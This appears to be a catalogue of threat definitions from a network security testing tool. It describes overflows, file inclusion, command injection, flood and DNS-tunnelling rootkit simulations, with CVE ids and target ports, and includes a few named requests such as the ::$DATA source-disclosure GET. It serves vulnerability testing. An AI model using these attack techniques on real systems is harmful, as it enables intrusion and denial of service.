Executive Description:	SIP Trailing Garbage (IPv6 Version)
Detailed Description:	This threat sends out a SIP OPTIONS message with a Content-Length of 0 and with 512 bytes of garbage following the headers. Because this trailing data is unexpected, this may confuse or crash a SIP implementation. (IPv6 Version)
Protocol Type:	SIP/IPv6
Threat Package:	VoIP
Threat File Name:	FSC20081210-04_Microsoft_Internet_Explorer_XML_Processing_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Internet Explorer XML Processing Memory Corruption (IPv6 Version)
Detailed Description:	There exists a memory corruption vulnerability in Microsoft Internet Explorer. The flaw is due to an error when handling specially crafted XML data. An attack targeting this vulnerability can result in injection and execution of arbitrary code. If code execution is successful, the behaviour of the attack target will depend on the intention of the attacker. Any injected code will be executed within the security context of the currently logged on user. In the case of an unsuccessful code execution attack, the application would terminate abnormally. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2008-4844
Threat Package:	Standard
Threat File Name:	FSC20070515-22_Samba_LSA_RPC_lsa_io_trans_names_Request_Handling_Heap_Overflow.xml
Executive Description:	Samba LSA RPC lsa_io_trans_names Request Handling Heap Overflow
Detailed Description:	A heap-based buffer overflow vulnerability exists in the way Samba handles RPC messages. The vulnerability is due to a boundary error while performing specific RPC operations. Remote authenticated attackers can exploit this vulnerability by sending a specially crafted RPC request to the LSA RPC interface. Successful exploitation of this vulnerability allows attackers to execute arbitrary code on the vulnerable system in the context of the affected process.
Protocol Type:	SMB
CVEID:	CVE-2007-2446
Threat Package:	Standard
Threat File Name:	phprojekt_rfi_IPv6.xml
Executive Description:	PHProjekt Content management module Remote File Inclusion Vulnerability (IPv6 Version)

Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. Phprojekt is a web application that typically listens on port 80 (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	wmf_extEscape_IPv6.xml
Executive Description:	Microsoft GRE ExtEscape Memory Corruption (IPv6 Version)
Detailed Description:	This attack corrupts the memory of Microsoft's picture and fax viewer application. This version simply causes a crash, however it might be possible through manipulation of the heap to create an exploit out of this flaw. This flaw is different from CVE-2006-0106. This attack comes from a webserver, which typically listens on port 80. This is a client side attack that comes from the virtual server. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-0143
OSVDB:	22396
Threat Package:	Standard
Threat File Name:	ms05-053.xml
Executive Description:	MS05-053 EMF file parsing flaw in GDI32.DLL
Detailed Description:	This threat causes the Internet Explorer web browser to crash by sending a malformed EMF file which is processed by the GetEnhMetaFilePaletteEntries() function, ending in a crash. This can lead to a denial of service condition, and possibly remote code execution. This attack comes from web servers, which typically listen on port 80. This threat is a client attack that comes from the virtual server.
Protocol Type:	HTTP
CVEID:	CVE-2005-0803
OSVDB:	20580
Threat Package:	Standard
Threat File Name:	trace_IPv6.xml
Executive Description:	HTTP TRACE Method (IPv6 Version)
Detailed Description:	This threat is a HTTP TRACE request. A misconfigured webserver will echo this request back to the client, allowing for a cross-site scripting attack. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	dns_data_smuggling.xml
Executive Description:	Sample of Data Smuggling and Arbitrary Command Execution Via DNS a Based Rootkit
Detailed Description:	This threat simulates the use of a clandestine DNS channel using a custom DNS server and DNS recursion as a data transport, this data is a TLV structure which is base64 encoded swapping the "/" and "-" character to comply with various DNS RFCs (breaking various Base64 RFCs), in reply the rootkit is told to execute "ls -l /archive". This threat uses the DNS service which typically listens on port 53.
Protocol Type:	DNS
Threat Package:	Standard
Threat File Name:	gifDos_IPv6.xml
Executive Description:	GIF Denial Of Service (IPv6 Version)
Detailed Description:	This threat sends a maliciously formed GIF file from the reflector port, as the response to a HTTP GET request. This specially formatted GIF file has crashed certain programs, including some image manipulation programs and AOL Instant Messenger. This threat is a client attack that comes from the virtual server. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-1891
OSVDB:	17220
Threat Package:	Standard
Threat File Name:	fuzz-ARP_protoAddrType_IPv6.xml
Executive Description:	Fuzzer for Protocol:ARP and Field:protoAddrType (IPv6 Version)
Detailed Description:	(IPv6 Version)
Protocol Type:	ARP/IPv6
Threat Package:	Fuzzing
Threat File Name:	TSL20160810-07_Trend_Micro_Control_Manager_TreeUserController_process_tree_event_Information_Disclosure.xml
Executive Description:	Trend Micro Control Manager TreeUserController_process_tree_event Information Disclosure
Detailed Description:	An XML external entity (XXE) processing vulnerability has been reported in Trend Micro Control Manager. The vulnerability is due to lack of validation of user-supplied input prior to executing an XML query in TreeUserController_process_tree_event.aspx. A remote, authenticated attacker could exploit this vulnerability by sending a malicious HTTP request to the target system. Successful exploitation could allow the attacker to read arbitrary files from the target system.
Protocol Type:	HTTPS
Threat File Name:	dlink_upnp_notify.xml
Executive Description:	D-Link Router uPnP Stack Overflow NOTIFY
Detailed Description:	This threat causes a stack overflow on affected D-Link routers by sending out a uPnP NOTIFY request with overly long parameters. This can crash the router or cause code execution. uPnP operates on UDP port 1900.
Protocol Type:	UPnP
Threat Package:	Standard
Threat File Name:	cwfm_rfi_IPv6.xml
Executive Description:	Comet WebFileManager CheckUpload.PHP Remote File Include Vulnerability Comet WebFileManager CheckUpload.PHP Remote File Include Vulnerability Comet WebFileManager CheckUpload.PHP Remote File Include Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. Comet WebFileManager is a web application that typically listens on port 80 (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-4077

Threat Package:	Standard
Threat File Name:	site-assistant_rfi.xml
Executive Description:	Site-Assistant <= v0990(paths[version]))Remote File Include Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. Site-Assistant is a web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-0867
Threat Package:	Standard
Threat File Name:	InternetExplorerArchive.xml
Executive Description:	Internet Explorer Web Archive Buffer Overflow
Detailed Description:	This threat attempts to cause a buffer overflow in certain versions of Internet Explorer by sending a malformed Microsoft Web Archive file. This threat is a client attack that comes from the virtual server.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	FSC20070820-02_Mercury_Mail_Transport_System_SMTP_AUTH_CRAM-MD5_Buffer_Overflow_IPv6.xml
Executive Description:	Mercury Mail Transport System SMTP AUTH CRAM-MD5 Buffer Overflow (IPv6 Version)
Detailed Description:	There exists a stack buffer overflow in Mercury Mail Transport System. The vulnerability is due to a boundary error when processing CRAM-MD5 string following the SMTP AUTH command. Successful exploitation of this vulnerability allows remote attackers to create denial of service condition or execute arbitrary code with the privileges of the affected application. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-4440
Threat Package:	Standard
Threat File Name:	TSL20150106-03_ManageEngine_Multiple_Products_WsDiscoveryServlet_Directory_Traversal_IPv6.xml
Executive Description:	ManageEngine Multiple Products WsDiscoveryServlet Directory Traversal IPv6 version.
Detailed Description:	A directory traversal vulnerability exists in ManageEngine ServiceDesk Plus, AssetExplorer and IT360. The vulnerability is due to lack of authentication and insufficient input validation on the "computerName" parameter sent in HTTP requests to the WsDiscoveryServlet. A remote unauthenticated attacker can upload or delete arbitrary files to arbitrary locations. In a successful attack scenario, the attacker can execute arbitrary code with SYSTEM privileges by placing crafted files in critical locations. Tester should set the variable \$destPort to 8080 before test.
Protocol Type:	HTTP,IPv6
CVEID:	CVE-2014-5302
OSVDB:	116737
Threat File Name:	lupper21.xml
Executive Description:	Lupper Worm 21
Detailed Description:	This threat is one of the HTTP requests for the Lupper Worm. Lupper is a worm that exploits well known web application holes.
Protocol Type:	HTTP
CVEID:	CVE-2005-1921
OSVDB:	17793
Threat Package:	Standard
Threat File Name:	TSL20120524-01_IBM_Lotus_Quickr_qp2_cab_ActiveX_Control_Stack_Buffer_Overflow_IPv6.xml
Executive Description:	IBM Lotus Quickr qp2.cab ActiveX Control Stack Buffer Overflow(IPv6 Version)
Detailed Description:	A stack-based buffer overflow vulnerability exists in IBM Lotus Quickr. The vulnerability is due to an unbounded string copy within the QuickPlace ActiveX control when setting either the Attachment_Times or Import_Times property. A remote attacker can exploit this vulnerability by enticing a target user to view crafted web content. A successful exploitation attempt may result in the execution of arbitrary code in the security context of the target user's browser.
Protocol Type:	IPv6,HTTP,HTTPS
CVEID:	CVE-2012-2176
Threat File Name:	MS04-007HTTP_IPv6.xml
Executive Description:	MS04-007 HTTP ASN1 Heap Overflow (IPv6 Version)
Detailed Description:	This threat causes a heap overflow in the ASN.1 parser in Microsoft's Internet Information Services server (IIS). This can be used to gain remote entry into a webserver. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2003-0818
OSVDB:	3902
Threat Package:	Standard
Threat File Name:	FSC20100309-08_Microsoft_Office_Excel_MDXSET_Record_Heap_Buffer_Overflow.xml
Executive Description:	Microsoft Office Excel MDXSET Record Heap Buffer Overflow
Detailed Description:	A buffer overflow vulnerability exists in Microsoft Office Excel. The vulnerability is due to a flaw while parsing MDXSET records. Remote attackers can exploit this vulnerability by enticing target users to open a malicious Excel file, potentially causing arbitrary code to be injected and executed in the security context of the currently logged on user. In an attack scenario, where arbitrary code is injected and executed on the target machine, the behavior of the target is dependent on the logic of the malicious code. If such an attack is not executed successfully, the vulnerable application may terminate abnormally.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP
CVEID:	CVE-2010-0261
Threat Package:	Standard
Threat File Name:	sipfarfuturedate_IPv6.xml
Executive Description:	SIP Far Future Date (IPv6 Version)
Detailed Description:	This threat sends a SIP NOTIFY message with a Date: header specifying a date in 2039. Because this is past the 2038 barrier that many Unix implementations run into, this may confuse or crash a SIP implementation despite it being a legal message. (IPv6 Version)

Protocol Type:	SIP/IPv6
Threat Package:	VoIP
Threat File Name:	TSL20161230-08_PHPMailer_mail_escapeshellarg_Command_Injection_IPv6.xml
Executive Description:	PHPMailer mail escapeshellarg Command Injection (IPv6 Version)
Detailed Description:	A command injection vulnerability has been reported in the PHPMailer library package. The vulnerability is due to improper usage of the escapeshellarg() function to validate a parameter sent to the mail() function. A remote, unauthenticated attacker could exploit this vulnerability by supplying maliciously crafted data to the PHPMailer class to send email. Successful exploitation results in arbitrary command execution on the target server with the privileges of the web service.
Protocol Type:	HTTP,HTTPS,IPv6
CVEID:	CVE-2016-10045
Threat File Name:	cisco_http_1.xml
Executive Description:	Cisco IOS Router Denial of Service
Detailed Description:	This threat sends a malformed HTTP request that is known to cause certain versions of IOS to crash.
Protocol Type:	HTTP
CVEID:	CVE-2000-0380
OSVDB:	1302
Threat Package:	Standard
Threat File Name:	TSL20150908-38_Microsoft_Internet_Explorer_CVE_2015-2487_Memory_Corruption.xml
Executive Description:	Microsoft Internet Explorer CVE-2015-2487 Memory Corruption
Detailed Description:	A memory corruption vulnerability exists in Microsoft Internet Explorer. The vulnerability is due to an error while handling certain objects when processing HTML and script code. A remote attacker could exploit this vulnerability by enticing a user to open a specially crafted web page. Successful exploitation could lead to arbitrary code execution in the security context of the target user.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2015-2487
Threat File Name:	TSL20140605-05_OpenSSL_Anonymous_ECDH_Denial_of_Service_IPv6.xml
Executive Description:	OpenSSL Anonymous ECDH Denial of Service IPv6 version
Detailed Description:	A denial of service vulnerability exists in OpenSSL. The vulnerability is due to a NULL pointer dereference in processing handshake messages using anonymous ECDH ciphersuites. A remote, unauthenticated attacker could exploit this vulnerability by sending specially crafted messages to a target. Successful exploitation could lead to a denial of service condition. Tester should turn variable \$destPort into 443 before test.
Protocol Type:	SSL/TLS/HTTPS/SMTP/SMTPS/SIPS.IPV6
CVEID:	CVE-2014-3470
OSVDB:	107731
Threat File Name:	ipv6_first_frag_flood_IPv6.xml
Executive Description:	IPv6 First Fragment Flood (IPv6 Version)
Detailed Description:	This threat sends multiple IPv6 fragments belonging to the same ID. Each fragment has the more fragments bit set, and represents the first fragment in the sequence. This can be used for firewall evasion and causing a denial of service in IPv6 fragment reassembly algorithms. (IPv6 Version)
Protocol Type:	IPv6/IPv6
Threat Package:	Standard
Threat File Name:	FSC20100826-10_Oracle_MySQL_Database_IN_and_CASE_NULL_Argument_Denial_of_Service_IPv6.xml
Executive Description:	Oracle MySQL Database IN and CASE NULL Argument Denial of Service (IPv6 Version)
Detailed Description:	A Denial of Service vulnerability exists in Oracle MySQL database server. The vulnerability is due to an error while handling IN or CASE functions when NULL arguments are passed to the functions either by the WITH ROLLUP modifier or explicitly. Remote authenticated attackers can exploit this vulnerability by sending malicious command packets to the server. Successful exploitation would cause the target server to terminate, denying service to all users until the server is restarted.
Protocol Type:	MySQL
Threat Package:	Standard
Threat File Name:	TSL20140415-01_Advantech_WebAccess_SCADA_webvact.ocx_GotoCmd_Buffer_Overflow_IPv6.xml
Executive Description:	Advantech WebAccess SCADA webvact.ocx GotoCmd Buffer Overflow(IPv6 Version)
Detailed Description:	A stack buffer overflow exists in Advantech's WebAccess SCADA software. This is due to insufficient input validation on the GotoCmd parameter of the webvact.ocx ActiveX control, a part of the WebAccess Client. A remote, unauthenticated attacker could exploit this vulnerability by enticing a vulnerable user to open a crafted web page. Successful exploitation could lead to code execution in the context of the target user.
Protocol Type:	HTTP,HTTPS,IPV6
CVEID:	CVE-2014-0765
OSVDB:	105564
Threat File Name:	FSC20060721-11_Apache_Tomcat_Directory_Listing_Information_Disclosure.xml
Executive Description:	Apache Tomcat Directory Listing Information Disclosure
Detailed Description:	There exists an arbitrary directory information disclosure vulnerability in Apache Tomcat. The flaw is caused by overly lax default permissions set by the product. An attacker may exploit this vulnerability to retrieve a complete listing of all the files in any directory.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	imageview_rfi_IPv6.xml
Executive Description:	Imageview v5.3 (fileview.php) Local File Inclusion (IPv6 Version)
Detailed Description:	This threat demonstrates a remote file inclusion flaw for the Imageview web application. This threat is delivered via HTTP port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	FSC20081023-05_Multiple_Vendors_libspf2_DNS_TXT_Record_Parsing_Buffer_Overflow.xml
Executive Description:	Multiple Vendors libspf2 DNS TXT Record Parsing Buffer Overflow

Detailed Description:	There exists a buffer overflow vulnerability in the Sender Policy Framework library (libspf2). The flow is due to boundary error when processing crafted DNS TXT record. An attacker who runs a malicious DNS server can exploit this vulnerability by sending triggering email message to the target system. Successful attack could allow for executing arbitrary code with System or root level privileges.
Protocol Type:	DNS
CVEID:	CVE-2008-2469
Threat Package:	Standard
Threat File Name:	TSL20151005-02_ManageEngine_ServiceDesk_FileDownload_jsp_fName_Directory_Traversal.xml
Executive Description:	ManageEngine ServiceDesk FileDownload.jsp fName Directory Traversal
Detailed Description:	A directory traversal vulnerability has been reported in ManageEngine ServiceDesk. The vulnerability is due to the software incorrectly validating the fName parameter when handling requests sent to FileDownload.jsp. A remote unauthenticated attacker can exploit this vulnerability by sending a malicious request to the vulnerable server. Successful exploitation results in arbitrary file download from the target server.
Protocol Type:	HTTP
CVEID:	CVE-2015-3105
Threat File Name:	TSL20151209-03_Autodesk_Design_Review_GIF_GlobalColorTable_DataSubBlock_Buffer_Overflow.xml
Executive Description:	Autodesk Design Review GIF GlobalColorTable DataSubBlock Buffer Overflow
Detailed Description:	A heap buffer overflow vulnerability exists in Autodesk Design Review. The vulnerability is due to an error when processing GlobalColorTable flag and DataSubBlock size fields inside a GIF file. In order to exploit the vulnerability, the remote attacker needs to entice the target user to open a malicious file using the vulnerable application. Successful exploitation would allow the attacker to execute arbitrary code.
Protocol Type:	HTTPS,HTTP,IMAP,POP3,SMB/CIFS,SMTP,FTP,NFS
CVEID:	CVE-2015-8572
Threat File Name:	shoutcast_fmt.xml
Executive Description:	Shoutcast Format String Attack
Detailed Description:	This threat sends a format string attack targeting the Shoutcast MP3 streaming server. This server is used by many online radio stations. This attack attempts to execute remote code on the server. Shoutcast typically listens on port 8000.
Protocol Type:	Proprietary
CVEID:	CVE-2004-1373
OSVDB:	14705
Threat Package:	Standard
Threat File Name:	TSL20110902-05_Broadwin_WebAccess_Client_Bwocxrun_ActiveX_OcxSpool_Format_String_IPv6.xml
Executive Description:	Broadwin WebAccess Client Bwocxrun ActiveX OcxSpool Format String(IPv6 Version)
Detailed Description:	A format string vulnerability exists in an ActiveX component of Broadwin Technology's WebAccess client. The vulnerability is due to a lack of validation of the OcxSpool() method's argument. A remote attacker can exploit this vulnerability by enticing a user to open a specially crafted web page. Successful exploitation can result in arbitrary code execution in the context of the currently logged-in user.
Protocol Type:	IPv6,HTTP,HTTPS
Threat File Name:	FSC20070904-19_Microsoft_Visual_Basic_6_0_VBP_Project_File_Handling_Buffer_Overflow_IPv6.xml
Executive Description:	Microsoft Visual Basic 6.0 VBP Project File Handling Buffer Overflow (IPv6 Version)
Detailed Description:	There exists a buffer overflow vulnerability in Microsoft Visual Basic product. The flaw is due to improper boundary protection when processing .VBP files. . A attacker can leverage this vulnerability by enticing the target user to open a crafted .VBP file, potentially causing arbitrary code to be injected and executed in the security context of the current logged in user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-4776
Threat Package:	Standard
Threat File Name:	awstats.xml
Executive Description:	AWStats Remote Command Execution
Detailed Description:	This threat takes advantage of an unchecked variable in AWStats that allows a malicious attacker to to issue any command on the target system. AWStats is a Perl program that typically resides in the cgi-bin directory of a webserver.
Protocol Type:	HTTP
CVEID:	CVE-2005-0116
OSVDB:	13002
Threat Package:	Standard
Threat File Name:	bnbt_get_dos.xml
Executive Description:	BNBT EasyTracker Denial of Service
Detailed Description:	This threat sends a malformed HTTP request to the BNBT service, causing a denial of service. This can be used to prevent legitimate users from using the service. BNBT is a BitTorrent tracker that typically listens on TCP port 6969.
Protocol Type:	Proprietary
CVEID:	CVE-2005-2806
OSVDB:	19069
Threat Package:	Standard
Threat File Name:	FSC20071026-02_RealNetworks_RealPlayer_MP3_Files_Processing_Buffer_Overflow.xml
Executive Description:	RealNetworks RealPlayer MP3 Files Processing Buffer Overflow
Detailed Description:	A remote buffer overflow vulnerability exists in RealNetworks RealPlayer application. The vulnerability is due to boundary errors when processing Lyrics3 v2.00 tags in MP3 files. A remote attacker can exploit this vulnerability by enticing the target user to open a crafted MP3 file. Successful exploitation would cause a heap-based buffer overflow that may lead to arbitrary code execution in the security context of the logged in user.
Protocol Type:	HTTP
CVEID:	CVE-2007-5080
Threat Package:	Standard

Threat File Name:	FSC20080911-20_Multiple_Products_libxml2_XML_File_Processing_Long_Entity_Name_Buffer_Overflow.xml
Executive Description:	Multiple Products libxml2 XML File Processing Long Entity Name Buffer Overflow
Detailed Description:	A vulnerability has been reported in libxml2 that could allow remote attackers to execute arbitrary code on the vulnerable system. The vulnerability is due to a boundary error within the Libxml2, specifically in the way libxml2 handles long XML entity names. Remote attackers could exploit this vulnerability by persuading a target user to open a specially crafted XML file. As a result of processing the malicious file a heap-based buffer overflow can be triggered. In an attack case where code injection is successful, the behaviour of the target is entirely dependent on the intended function of the injected code. The code in such a case would execute within the security context of the logged in user. In an attack case where code injection is not successful, the affected process will terminate abnormally.
Protocol Type:	HTTP/FTP/IMAP/POP3/SMB/CIFS/SMTP/NFS
CVEID:	CVE-2008-3529
Threat File Name:	Netegrity_cookie_IPv6.xml
Executive Description:	Netegrity Affiliate Agent Cookie Overflow (IPv6 Version)
Detailed Description:	This threat sends a HTTP GET request with a large cookie value, known to overflow the heap in certain versions of SiteMinder. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2004-0425
OSVDB:	5578
Threat Package:	Standard
Threat File Name:	FSC20100413-05_Microsoft_Windows_2000_Media_Services_Stack_Buffer_Overflow.xml
Executive Description:	Microsoft Windows 2000 Media Services Stack Buffer Overflow
Detailed Description:	A stack buffer overflow vulnerability exists in Microsoft Windows 2000 Media Services. The vulnerability is due to the way Windows Media Unicast Service handles specially crafted transport information packets. An attacker can exploit this vulnerability by creating a specially crafted transport information packet and sending it to the offending service. In attack scenarios where code execution is successful the injected code will be executed within the context of the currently logged in user. When code execution is not successful, the affected application may terminate abnormally, leading to a denial of service condition. Note: Based on researching the patch, it has been discovered that the vulnerability is not fully mitigated. After the patch is applied, a system is still vulnerable to attacks targeting this vulnerability. TELUS Security Labs is currently working with the vendor to further investigate this issue.
Protocol Type:	MMS
CVEID:	CVE-2010-0478
Threat Package:	Standard
Threat File Name:	FSC20091215-04_Adobe_Reader_and_Acrobat_media.newPlayer_Code_Execution.xml
Executive Description:	Adobe Reader and Acrobat media.newPlayer Code Execution
Detailed Description:	A code execution vulnerability exists in Adobe Reader and Acrobat products. The vulnerability is caused by a use-after-free error when parsing crafted JavaScript calls to the media.newPlayer function. A remote attacker can exploit this vulnerability by enticing a user to download and view a malicious PDF file in a vulnerable version of the affected product. In a sophisticated attack where code injection is successful, the behaviour of the target is entirely dependent on the logic of the injected code. This injected code would execute within the security context of the currently logged in user. In an attack case where code injection is not successful, the affected application will terminate abnormally upon parsing the malicious PDF document.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP
CVEID:	CVE-2009-4324
Threat Package:	Standard
Threat File Name:	TSL20160209-27_Microsoft_Word_RTF_CVE-2016-0052_Memory_Corruption.xml
Executive Description:	Microsoft Word RTF CVE-2016-0052 Memory Corruption
Detailed Description:	A memory corruption vulnerability has been reported in Microsoft Office. This application fails to properly handle certain objects in memory when parsing specially crafted files. A remote attacker could exploit this vulnerability by enticing a user to open a specially crafted file. Successful exploitation could possibly lead to arbitrary code execution under the context of the currently logged on user.
Protocol Type:	HTTPS, HTTP, IMAP, SMB/CIFS, SMTP
CVEID:	CVE-2016-0052
Threat File Name:	FSC20091013-22_Microsoft_Windows_LSASS_Remote_Denial_of_Service.xml
Executive Description:	Microsoft Windows LSASS Remote Denial of Service
Detailed Description:	A denial of service vulnerability exists in the Microsoft Windows Local Security Authority Subsystem Service (LSASS). The vulnerability is due to a design error when handling NTLM authentication packets. An unauthenticated attacker could exploit this vulnerability remotely. Successful exploitation would result in a read access violation error on the host, which leads to a system wide denial of service condition.
Protocol Type:	DCERPC
CVEID:	CVE-2009-2524
Threat Package:	Standard
Threat File Name:	FSC20090609-06_Microsoft_Windows_2000_Active_Directory_LDAP_Parsing_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Windows 2000 Active Directory LDAP Parsing Memory Corruption (IPv6 Version)
Detailed Description:	A memory corruption vulnerability exists in Microsoft Windows 2000 Server Active Directory Service. The vulnerability is due to incorrect memory management when processing crafted LDAP or LDAPS requests. A remote unauthenticated attacker can exploit this vulnerability by sending malicious messages to the LDAP server. In an attack case where code injection is successful, the behaviour of the target is entirely dependent on the intended function of the injected code. The code in such a case would execute within the security context of the SYSTEM account. In an attack case where code injection is not successful, the LSASS process will terminate abnormally, causing the system to halt or restart. (IPv6 Version)
Protocol Type:	LDAP/IPv6
CVEID:	CVE-2009-1138
Threat Package:	Standard
Threat File Name:	TSL20130715-07_Trimble_Navigation_SketchUp_BMP_File_Buffer_Overflow_IPv6.xml
Executive Description:	Trimble Navigation SketchUp BMP File Buffer Overflow [IPv6, Version]

Detailed Description:	A remote code execution vulnerability exists in Trimble Navigation's Sketchup. The vulnerability is due to a heap buffer overflow while processing BMP files which contain malicious RLE data. Remote unauthenticated attackers can exploit this vulnerability by enticing a target user to open a malicious BMP file. Successful exploitation could result in arbitrary code execution with the privileges of the logged in user. If exploitation is not successful, the application may terminate abnormally.
Protocol Type:	IPv6, HTTP, HTTPS, IMAP, POP3, SMB/CIFS, SMTP, NFS
CVEID:	CVE-2013-3664
Threat File Name:	FSC20100713-06_Apache_Struts2_ParametersInterceptor_Remote_Command_Execution_IPv6.xml
Executive Description:	Apache Struts2 ParametersInterceptor Remote Command Execution (IPv6 Version)
Detailed Description:	A command execution vulnerability exists in the web application framework Apache Struts2. The vulnerability is due to insufficient input validation in the ParametersInterceptor component when parsing incoming HTTP requests. A remote attacker can leverage this vulnerability by sending a crafted HTTP request to a target system. In an attack scenario, where arbitrary commands are executed on the target machine, the malicious command will be executed within the security context of the target service.
Protocol Type:	IPv6, HTTP, HTTPS
CVEID:	CVE-2010-1870
Threat Package:	Standard
Threat File Name:	TSL20140428-01_Microsoft_Internet_Explorer_CVE-2014-1776_Use_After_Free_IPv6.xml
Executive Description:	Microsoft Internet Explorer CVE-2014-1776 Use After Free(IPv6 Version)
Detailed Description:	A code execution vulnerability exists in Internet Explorer. The vulnerability is due to improperly accessing an object in memory. A remote attacker could exploit this vulnerability by enticing the target user to open a malicious web page. In the case of successful exploitation, arbitrary attacker code would be executed in the security context of the target user. This vulnerability is being actively exploited in the wild.
Protocol Type:	HTTP, HTTPS, IPV6
CVEID:	CVE-2014-1776
Threat File Name:	ebcrypt_activex_overwrite.xml
Executive Description:	ebCrypt ActiveX Control SaveToFile Arbitrary File Overwrite Vulnerability
Detailed Description:	This threat downloads a malicious web page which triggers a buffer overflow in the ebCrypt ActiveX application, resulting in the overwriting of arbitrary files. This threat is delivered via HTTP port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-5111
Threat Package:	Standard
Threat File Name:	TSL20160614-03_Apache_Continuum_saveInstallation.action_Command_Injection_IPv6.xml
Executive Description:	Apache Continuum saveInstallation.action Command Injection (IPv6 version)
Detailed Description:	A command injection vulnerability has been reported in Apache Continuum. This vulnerability is due to the affected software incorrectly parsing certain requests. A remote, unauthenticated attacker could exploit this vulnerability by sending a crafted request to the '/continuum/saveInstallation.action' URI. Successful exploitation results in arbitrary command execution under the security context of the target process.
Protocol Type:	HTTP, IPV6
Threat File Name:	FSC20080709-06_Microsoft_Word_Crafted_SmartTag_Record_Code_Execution_IPv6.xml
Executive Description:	Microsoft Word Crafted SmartTag Record Code Execution (IPv6 Version)
Detailed Description:	A memory corruption vulnerability exists in Microsoft Word. The vulnerability is due to a memory handling error while handling MS Word smart tags. A remote attacker can exploit this vulnerability by enticing the target user to open a crafted Microsoft Word document, potentially causing arbitrary code to be injected and executed in the security context of the currently logged in user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2008-2244
Threat Package:	Standard
Threat File Name:	storystream_rfi.xml
Executive Description:	StoryStream 4.0 (baseDir) Remote File Include Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. StoryStream is a web application that typically listens on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	FSC20090714-03_Mozilla_Firefox_JIT_escape_Function_Memory_Corruption_IPv6.xml
Executive Description:	Mozilla Firefox JIT escape Function Memory Corruption (IPv6 Version)
Detailed Description:	A memory corruption vulnerability exists in Mozilla Firefox. This flaw is due to the way Mozilla Firefox handles JIT escape Function calls. A remote attacker can exploit this vulnerability by enticing a target user to open a malicious web page. Successful attacks could allow for arbitrary code injection and execution within the security privileges of the currently logged on user. If code execution is successful, the behaviour of the target will depend on the intention of the attacker. In the case of an unsuccessful code execution attack, Firefox may terminate abnormally. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2009-2477
Threat Package:	Standard
Threat File Name:	TSL20141125-05_Adobe_Flash_Player_CVE_2014_8439_Write_What_Where_IPv6.xml
Executive Description:	Adobe Flash Player CVE-2014-8439 Write-What-Where IPv6 version.
Detailed Description:	A write what where vulnerability exists in Adobe Flash Player. The vulnerability is due to a memory corruption when handling ByteArray objects. A remote attacker can exploit this vulnerability by enticing a target user to open a crafted file. A successful attack could result in the execution of arbitrary code in the security context of the target user.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP/NFS. IPV6
CVEID:	CVE-2014-8439
OSVDB:	115035

Threat File Name:	cwrflood.xml
Executive Description:	TCP CWR Flood
Detailed Description:	This threat floods a user specified target with TCP packets from randomized, spoofed addresses, where the CWR (Congestion Window Reduced) flag has been turned on. This attack is an attempt to flood the target with erroneous packets in order to hinder performance and cause a slowed response to legitimate traffic and possibly a DoS.
Protocol Type:	TCP
Threat Package:	Standard
Threat File Name:	FSC20060213-01_IBM_Tivoli_Directory_Server_LDAP_Buffer_Overflow.xml
Executive Description:	IBM Tivoli Directory Server LDAP Buffer Overflow
Detailed Description:	A heap-based buffer overflow vulnerability exists in the IBM Tivoli Directory Server. The vulnerability is caused by a failure to properly verify the length of an object in an LDAP message. An attacker may leverage this issue by sending a crafted LDAP message to terminate a vulnerable Tivoli Directory Server, or to inject arbitrary code which will be executed in the security context of the Tivoli Directory Server process.
Protocol Type:	LDAP
CVEID:	CVE-2006-0717
Threat Package:	Standard
Threat File Name:	FSC20100825-04_Adobe_Shockwave_tSAC_Chunk_Invalid_Seek_Memory_Corruption.xml
Executive Description:	Adobe Shockwave tSAC Chunk Invalid Seek Memory Corruption
Detailed Description:	A code execution vulnerability has been reported in Adobe Shockwave. The vulnerability is due to a signedness error while parsing tSAC chunks in Adobe Director fields. The vulnerable code does not properly validate an offset value provided in the chunk data before using it to calculate a memory address. Remote attackers can exploit this vulnerability by enticing target users to open a malicious DIR file using a vulnerable version of the product. Successful exploitation of this vulnerability would result in arbitrary code execution in the security context of the logged in user. In the case of an unsuccessful attack, the affected application may terminate abnormally.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMB/CIFS,SMTP
CVEID:	CVE-2010-2875
Threat Package:	Standard
Threat File Name:	iis_data.xml
Executive Description:	ASP Data Stream Source Disclosure
Detailed Description:	This threat causes a webserver to deliver the source code to a file instead of executing it. This is performed by using the little known ::\$DATA stream ability of the NTFS file system. This threat performs a GET request for default.asp::\$DATA. Web servers typically listen on port 80.
Protocol Type:	HTTP
CVEID:	CVE-1999-0278
OSVDB:	276
Threat Package:	Standard
